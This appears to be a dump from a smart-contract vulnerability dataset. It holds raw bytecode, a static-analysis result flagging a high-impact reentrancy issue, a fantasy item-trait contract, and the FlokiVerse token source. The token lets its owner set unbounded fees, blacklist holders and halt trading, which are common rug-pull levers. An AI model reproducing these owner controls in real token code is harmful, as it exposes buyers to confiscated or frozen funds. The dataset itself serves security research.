7b783836118b2565b306000908152600260205260409020549091506117d49082611740565b30600090815260026020526040902055505050565b6006546117f690836116fe565b6006556007546118069082611740565b6007555050565b6000808080611827606461182189896118b2565b906114a9565b9050600061183a60646118218a896118b2565b905060006118528261184c8b866116fe565b906116fe565b9992985090965090945050505050565b600080808061187188866118b2565b9050600061187f88876118b2565b9050600061188d88886118b2565b9050600061189f8261184c86866116fe565b939b939a50919850919650505050505050565b6000826118c15750600061066d565b60006118cd8385611d1c565b9050826118da8583611cfa565b146112eb5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105e7565b803561193c81611daf565b919050565b8035801515811461193c57600080fd5b60006020828403121561196357600080fd5b81356112eb81611daf565b60006020828403121561198057600080fd5b81516112eb81611daf565b6000806040838503121561199e57600080fd5b82356119a981611daf565b915060208301356119b981611daf565b809150509250929050565b6000806000606084860312156119d957600080fd5b83356119e481611daf565b925060208401356119f481611daf565b929592945050506040919091013590565b60008060408385031215611a1857600080fd5b8235611a2381611daf565b946020939093013593505050565b600080600060408486031215611a4657600080fd5b833567ffffffffffffffff80821115611a5e57600080fd5b818601915086601f830112611a7257600080fd5b813581811115611a8157600080fd5b8760208260051b8501011115611a9657600080fd5b602092830195509350611aac9186019050611941565b90509250925092565b60006020808385031215611ac857600080fd5b823567ffffffffffffffff80821115611ae057600080fd5b818501915085601f830112611af457600080fd5b813581811115611b0657611b06611d99565b8060051b604051601f19603f83011681018181108582111715611b2b57611b2b611d99565b604052828152858101935084860182860187018a1015611b4a57600080fd5b600095505b83861015611b7457611b6081611931565b855260019590950194938601938601611b4f565b5098975050505050505050565b600060208284031215611b9357600080fd5b6112eb82611941565b600060208284031215611bae57600080fd5b5035919050565b60008060008060808587031215611bcb57600080fd5b5050823594602084013594506040840135936060013592509050565b600060208083528351808285015260005b81811015611c1457858101830151858201604001528201611bf8565b81811115611c26576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611cc15784516001600160a01b031683529383019391830191600101611c9c565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611cf557611cf5611d6d565b500190565b600082611d1757634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d3657611d36611d6d565b500290565b600082821015611d4d57611d4d611d6d565b500390565b6000600019821415611d6657611d66611d6d565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107b757600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209b711e265b2a2f1955c7319f91719e061f176d59f74b41688a8ace51756a8d9364736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
3,022
0x378ab89017c1fe1CEAde9A66e92AB9A9aee48637
// SPDX-License-Identifier: GPL-2.0 /** * "The traits listed in quotation marks under the header contract AttrHands are licensed * under the Creative Commons Attribution 4.0 International License (“CC 4.0”). To view a copy of this license, visit http://creativecommons.org/licenses/by/4.0/ or send a letter to Creative Commons, * PO Box 1866, Mountain View, CA 94042, USA. For avoidance of doubt, combinations of such traits * generated by the smart contract that references this smart contract are also licensed * under CC 4.0. For purposes of attribution, the creator of these traits is * the NPC Genesis Project (designed by Josh Garcia and Diana Stern)." */ pragma solidity ^0.8.0; interface TraitDB { function viewTrait(uint256 _id) external view returns (string memory); function totalTraits() external view returns (uint256); } contract AttrHands is TraitDB { string[] hands = [ "Rock" , "Bushel of wheat" , "Three doubloons" , "Jar (empty)" , "Jar (water)" , "Bent spoon" , "Stick" , "Torch" , "Iron rod" , "Lucky rock" , "Some leaves" , "Stein" , "Hammer" , "Tomato (rotten)" , "Tomato (ripe)" , "Potato (rotten)" , "Potato (ripe)" , "Hand Axe" , "Simple bow" , "Bread (moldy)" , "Bread (fresh)" , "Tobacco Pipe" , "Paint" , "Umbrella" , "Ever-damp sponge (magical item) " , "Rabbit's foot" , "Apple turnover" , "Iron pipe" , "Peeling knife" , "Net " , "Club" , "Altar chalk" , "Brass pentacle " , "Walking stick " , "Ironwood knuckles " , "Orb of Slope Detection (orb detects slope if put on ground)" , "Slightly aerodynamic sword (magical item)" , "Quarterstaff " , "Rock of Weather Detection (put outside to get current weather)" , "Thunderclap Stone (put anywhere to make a thunder clap sound) " , "Bard's pendant" , "Bit of salt" , "Bag of beans" , "Deck of cards" , "Smut" , "Dull knife" , "Compass of Finding " , "Birdcall Flute" , "Shiny bauble" , "Fishhook" , "Pot" , "Pan" , "Grill" , "Egg (cooked)" , "Iced cream" , "Creamed ice" , "Curds and whey" , "Shaved ice" , "Rainbow bread" , "Handy Broom of Sweeping" , "Closet key" , "Magical frozen swirl of milk and sugar" , "Dowsing rod" , "Convenient Bin of Dusting" , "Traveler's Staff" , "Wanderer's Staff" , "Thimble " , "Needle" , "Baby shoes, never worn" , "Kava" , "Kombucha" , "Blocks" , "Chains" , "Immutable Ledger" , "Instrument of Mining" , "Instrument of Staking" , "Grass sword" , "Miniature Cloth Blanket of Sneezing" , "Paper Scroll of Wiping" , "Scabbard" , "Broken hilt" , "Celestial map" , "Castle map" , "Town map" , "Healing salve" , "Icefire Cream of Ache-reduction" , "Pufferfish frozen in time" , "Oats" , "Hand puppets" , "Marionettes" , "Cinnabar ore" , "Ink" , "Pen" , "False thumb" , "Nightshade" , "Colored puzzle cube" , "Frankincense" , "Pyrite" , "Myrrh" , "Hardtack" , "Duff" , "Salt pork" , "Salt beef" , "Pound of flesh" , "Figs" , "Oilless lamp" , "Pouncet-box" , "Saltpeter" , "Vial (spermaceti - 1 use)" , "Ambergris" , "Wax" , "Beeswax" , "Butcher's knife" , "Mallet" , "Lasso " , "Pan flute" , "Atheist tract" , "Three-dimensional cube" , "Mutable Ledger" , "Bag of tricks" , "Wedding ring" , "Straight razor" , "Strop" , "Manual ('Riding a Horse,' by Morato)" , "Mambrino's Brass Basin" , "Book of Exalted Deeds" , "Boomerang" , "Bubble wand" , "Virge" , "Tarot cards" , "Toy sceptre" , "Prince's wand" , "Dried fish" , "Charm bracelet" , "Scroll" , "Longsword (unsheathed)" , "Longsword (sheathed)" , "Short sword (unsheathed)" , "Short sword (sheathed)" , "Knife" , "Dagger" , "Jar (milk)" , "Bindle" , "Tankard" , "Drinking horn" , "War hammer" , "Buckler" , "Longbow" , "Throwing knives" , "Harpoon" , "Antidote " , "Imbued Grill" , "Tarot card deck" , "Skull cap" , "Dwarven axe" , "Fireworks" , "Tree branch" , "Eye patch" , "Mace" , "Tiny human" , "Talking spider" , "Lute (for Adventurers)" , "Zither" , "Ukulele" , "Snicker-snacks" , "Slithy toves " , "Miniature jabberwocky" , "Compass of Destiny" , "Enchanted Message in a Bottle" , "Portable force shield" , "Signal rocks (pair - break one, the other one glows)" , "Decanter of Endless Water" , "Decanter of Endless Air" , "Slingshot and bag of acorns" , "Ham hock" , "Lodestone" , "Astrolabe" , "Sextant" , "Dwarf erotica" , "Elf erotica" , "Nautical chart" , "Flint" , "Orrery" , "Bismuth" , "Length of wire" , "Ash" , "Imbued Pan" , "Vanishing raindrop" , "Movable rod" , "Beans of Flatulence " , "Stone of Sinking" , "Scales" , "Old lettuce" , "Self-consuming torch" , "Spear of Healing " , "Singing sword" , "Bag of Mobile Marbles (command marbles to move by pointing) " , "Explorer's Machete " , "Wand of Night Vision" , "Skeleton key" , "Bag of ghosts " , "Ring of Insomnia (prevents wearer from sleeping)" , "Magical lock pick " , "Shinier bauble" , "Live worms" , "Imbued pot" , "Warhammer" , "Quarterstaff" , "Maul" , "Falchion" , "Scimitar" , "Ghost wand" , "Grave wand" , "Bone wand" , "Chronicle" , "Tome" , "Bronze ring" , "Silver ring" , "Demonic grass sword" , "Whetstone" , "Sentient flower" , "The Book of the Things That Have Names" , "Hat of Vermin (can summon vermin from hat)" , "Pipes of Sewers (controls rats)" , "Eternal glue" , "Dust of Sneezing" , "Conductor's Baton" , "Steel Horn of Valhalla" , "Tome of Cat Summoning (will summon 1 normal cat)" , "Wailing Blade (blade wails when used)" , "Looking glass" , "Broken mirror" , "Spell-storing boots" , "Ever-damp shoe" , "Helmet of X-ray Vision" , "Holey shoes" , "Talisman" , "Cursed painting" , "Gloves of giant strength" , "Bagpipes of Invisibility (invisible only while bagpipes play)" , "Tablecloth of Plenty (produces food on command)" , "Key of Solomon" , "Staff of Lightning" , "Cloak of Fire (if activated, will set self on fire)" , "Jar of bees" , "Jar of hornets" , "Magical folding knife (knife can fold in to prevent harm)" , "Petit Albert" , "Rock of Tiger Dispellation (rock keeps tigers away)" , "Black Pullet" , "Jar of acid " , "Ars Goetia" , unicode"Azoëtia" , "Sword of Spirits" , "Rod of Resurection " , "Gloves of Strangulation" , "Orb of Bees" , "Sadist's Blade" , "Infinity Gauntlet" , "Magic Kazoo" , "Banshee's Warhorn" , "Basket of mushrooms (non-hallucinogenic)" , "Basket of mushrooms (hallucinogenic)" , "Blade of Chaos" , "Bag of ferrets" , "Pharoah's Cursed Ruby" , "Resurrection Ring" , "Double-edged sword" , "Manticore eggs" , "Urn of dwarven remains" , "Griffon feather headdress" , "Dragontooth crown" , "Tarnished brass locket, rusted shut" , "Collapsible 10 foot pole " , "Levitating rope" , "Marble with swirling galaxy at the center" , "White wedding dress with red stain" , "Necromantic bells" , "Barrel of eels" , "Dragonbone horn" , "Bronze dagger" , "Chair of Atonement" , "Barrel of holy water" , "Knight's armor" , "Holy spear" , "Magic mirror" , "Dragon saddle" , "Golden fleece" , "Flask of ambrosia" , "Iron shield" , "Basket of Laundry" , "Wet shield" , "Engulfed Wooden Shield" , "Greathammer" , "Saw" , "Lilies" , "Daylilies" , "Osmanthus" , "Tulips" , "Roses" , "Tiny, stylish, envied, useless bag" , "Basket (puppies)" , "Basket (snakes)" , "Basket (kittens)" , "Basket (flowers)" , "Basket (bread)" , "Basket (cheese)" , "Basket (empty)" , "Basket (pig trotters)" , "Shurikens" , "Finger (index)" , "Finger (thumb)" , "Finger (ring)" , "Finger (pinky)" , "Finger (middle)" , "Toe (long)" , "Toe (big)" , "Toe (ring)" , "Toe (pinky)" , "Toe (middle)" , "Scrying pocket mirror " , "Unicorn horn dagger" , "Spyglass" , "Decanter of Endless Whiskey" , "Skull" , "Flaming sword" , "Poison axe" , "Grim Reaper's scythe " , "Forever lit candle " , "Atlatl" , "Ice pick" , "Tinkerer's tool" , "Head (dove)" , "Heart (dove)" , "Head (ogre)" , "Heart (ogre)" , "Head (elk)" , "Heart (elk)" , "Head (faun)" , "Heart (faun)" , "Head (puppy)" , "Heart (puppy)" , "Head (troll)" , "Heart (troll)" , "Head (yeti)" , "Heart (yeti)" , "Head (ghoul)" , "Heart (ghoul)" , "Head (goblin)" , "Heart (goblin)" , "Head (kitten)" , "Heart (kitten)" , "Head (shark)" , "Heart (shark)" , "Head (lion)" , "Heart (lion)" , "Head (halfling)" , "Heart (halfling)" , "Head (porpoise)" , "Heart (porpoise)" , "Crosier" , "Bare bodkin" , "Jar (firefly)" , "Spindle" , "Leather flask" , "Qiang" , "Crescent moon spade" , "Tonfas" , "Rope dart" , "Shiniest bauble" , "Irresistible bauble" , "Chef's pot" , "Chef's pan" , "Chef's grill" , "Platinum ring" , "Titanium ring" , "Platinum thimble" , "Platinum needle" , "Staff of the Great Flaneuse" , "Jar (fairy)" , "Iron fan" , "Bigfoot's foot (left)" , "Bigfoot's foot (right)" , "Jar (acid)" , "Crone's blood" , "Vorpal sword" , "Healing chalice " , "Hat of disguise" , "Ring of beauty and charisma" , "Flying broom " , "Crystal ball " , "Djinn's Lamp" , "Everburning torch " , "Cauldron that raises the dead" , "Orb of Shielding" , "Cap of Sunblock" , "Golden Axe" , "Crystal shield " , "Limitless bag of holding " , "Neverboil kettle" , "Buttergloves" , "Claw of Archimedes" , "Head (basilisk)" , "Heart (basilisk)" , "Head (centaur)" , "Heart (centaur)" , "Head (chimera)" , "Heart (chimera)" , "Head (cyclops)" , "Heart (cyclops)" , "Head (demon)" , "Heart (demon)" , "Head (elf)" , "Heart (elf)" , "Head (mermaid)" , "Heart (mermaid)" , "Head (gnome)" , "Heart (gnome)" , "Head (giant)" , "Heart (giant)" , "Head (narwhal)" , "Heart (narwhal)" , "Head (siren)" , "Heart (siren)" , "Head (werewolf)" , "Heart (werewolf)" , "Head (rooster)" , "Heart (rooster)" , "Papal ferula" , "Jar (miasma)" , "Pin of Quib" , "Cat in a Box" , "Cookmaster's pot" , "Cookmaster's pan" , "Cookmaster's grill" , "Head (alzabo)" , "Head (axolotl)" , "Heart (manticore)" , "Head (manticore)" , "Head (elephant)" , "Heart (elephant)" , "Golden thimble" , "Golden needle" , "Scepter" , "Royal scroll" , "Odachi (unsheathed)" , "Odachi (sheathed)" , "Katana (unsheathed)" , "Katana (sheathed)" , "Terminus Est" , "Severed hand (right)" , "Medusa's head" , "Medusa snake" , "Hydra's head" , "Severed foot (right)" , "Silver hair of Geralt" , "Severed hand (left)" , "Severed foot (left)" , "Sphinx's head" , "Flying carpet" , "Excalibur" , "Mjolnir (Thor's hammer)" , "Hades' Helm of Invisibility" , "Piper's Flute (controls animals)" , "Clock of Time Travel" , "Cloud of Flying" , "Mind-control circlet" , "Shards of Sarnil" , "Trident of Poseidon" , "Avern (The Flower of Dissolution)" , "Head (fairy)" , "Heart (fairy)" , "Head (leprechaun)" , "Heart (leprechaun)" , "Head (lynx)" , "Heart (lynx)" , "Head (Medusa)" , "Heart (Medusa)" , "Head (kraken)" , "Heart (kraken)" , "Head (hydra)" , "Heart (hydra)" , "Head (griffin)" , "Heart (griffin)" , "Head (Minotaur)" , "Heart (Minotaur)" , "Head (Pegasus)" , "Heart (Pegasus)" , "Head (phoenix)" , "Heart (phoenix)" , "Head (sphinx)" , "Heart (sphinx)" , "Head (unicorn)" , "Heart (unicorn)" , "Head (crone)" , "Heart (crone)" , "Head (Bigfoot)" , "Heart (Bigfoot)" , "Head (dragon)" , "Heart (dragon)" , "Liu Bei's Heavenly Swords" , "Lu Bu's Halberd" , "Anvil of the Twins" , "Unfungible coin, from an empire long lost" , "Royal pot" , "Royal pan" , "Royal grill" , "Coin of the Old Doge" , "Birkin Bag" , "Diamond thimble" , "Diamond needle" ]; function viewTrait(uint256 _id) external override view returns (string memory) { return hands[_id]; } function totalTraits() external override view returns (uint256) { return hands.length; } }
0x608060405234801561001057600080fd5b50600436106100365760003560e01c80632dc4a03f1461003b57806372bbe04714610064575b600080fd5b61004e610049366004610132565b610075565b60405161005b919061014a565b60405180910390f35b60005460405190815260200161005b565b60606000828154811061009857634e487b7160e01b600052603260045260246000fd5b9060005260206000200180546100ad9061019d565b80601f01602080910402602001604051908101604052809291908181526020018280546100d99061019d565b80156101265780601f106100fb57610100808354040283529160200191610126565b820191906000526020600020905b81548152906001019060200180831161010957829003601f168201915b50505050509050919050565b600060208284031215610143578081fd5b5035919050565b6000602080835283518082850152825b818110156101765785810183015185820160400152820161015a565b818111156101875783604083870101525b50601f01601f1916929092016040019392505050565b600181811c908216806101b157607f821691505b602082108114156101d257634e487b7160e01b600052602260045260246000fd5b5091905056fea26469706673582212201b37d2cf57a79941ca21e7fb22d9fa99004888e92c3b66b01b73792fb3826e7864736f6c63430008040033
{"success": true, "error": null, "results": {}}
3,023
0x1135CB0E5049ef0dd09079170d50eEfe3f7Fb170
/** *Submitted for verification at Etherscan.io on 2022-02-19 */ /** * Floki Metaverse Token launching February 19, 2022. * t.me/FlokiVersePortal * Fair Launch - Liquidity locked - No Pre-Sale, DEV allocation or Team Tokens **/ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.12; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract FlokiVerse is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "FlokiVerse"; string private constant _symbol = "FV"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 2; uint256 private _taxFeeOnBuy = 10; uint256 private _redisFeeOnSell = 2; uint256 private _taxFeeOnSell = 10; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x8a748FC0AdE6E225cc2710F5DDB1BCaC29cb1c3D); address payable private _marketingAddress = payable(0x2cE052d390b57B75f65E0bc5cbc2FE09c17b2c16); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 10000000 * 10**9; uint256 public _maxWalletSize = 25000000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610553578063dd62ed3e14610573578063ea1644d5146105b9578063f2fde38b146105d957600080fd5b8063a2a957bb146104ce578063a9059cbb146104ee578063bfd792841461050e578063c3c8cd801461053e57600080fd5b80638f70ccf7116100d15780638f70ccf71461044d5780638f9a55c01461046d57806395d89b411461048357806398a5c315146104ae57600080fd5b80637d1db4a5146103ec5780637f2feddc146104025780638da5cb5b1461042f57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038257806370a0823114610397578063715018a6146103b757806374010ece146103cc57600080fd5b8063313ce5671461030657806349bd5a5e146103225780636b999053146103425780636d8aa8f81461036257600080fd5b80631694505e116101ab5780631694505e1461027357806318160ddd146102ab57806323b872dd146102d05780632fd689e3146102f057600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024357600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461194e565b6105f9565b005b34801561020a57600080fd5b5060408051808201909152600a815269466c6f6b69566572736560b01b60208201525b60405161023a9190611a13565b60405180910390f35b34801561024f57600080fd5b5061026361025e366004611a68565b610698565b604051901515815260200161023a565b34801561027f57600080fd5b50601454610293906001600160a01b031681565b6040516001600160a01b03909116815260200161023a565b3480156102b757600080fd5b50670de0b6b3a76400005b60405190815260200161023a565b3480156102dc57600080fd5b506102636102eb366004611a94565b6106af565b3480156102fc57600080fd5b506102c260185481565b34801561031257600080fd5b506040516009815260200161023a565b34801561032e57600080fd5b50601554610293906001600160a01b031681565b34801561034e57600080fd5b506101fc61035d366004611ad5565b610718565b34801561036e57600080fd5b506101fc61037d366004611b02565b610763565b34801561038e57600080fd5b506101fc6107ab565b3480156103a357600080fd5b506102c26103b2366004611ad5565b6107f6565b3480156103c357600080fd5b506101fc610818565b3480156103d857600080fd5b506101fc6103e7366004611b1d565b61088c565b3480156103f857600080fd5b506102c260165481565b34801561040e57600080fd5b506102c261041d366004611ad5565b60116020526000908152604090205481565b34801561043b57600080fd5b506000546001600160a01b0316610293565b34801561045957600080fd5b506101fc610468366004611b02565b6108bb565b34801561047957600080fd5b506102c260175481565b34801561048f57600080fd5b50604080518082019091526002815261232b60f11b602082015261022d565b3480156104ba57600080fd5b506101fc6104c9366004611b1d565b610903565b3480156104da57600080fd5b506101fc6104e9366004611b36565b610932565b3480156104fa57600080fd5b50610263610509366004611a68565b610970565b34801561051a57600080fd5b50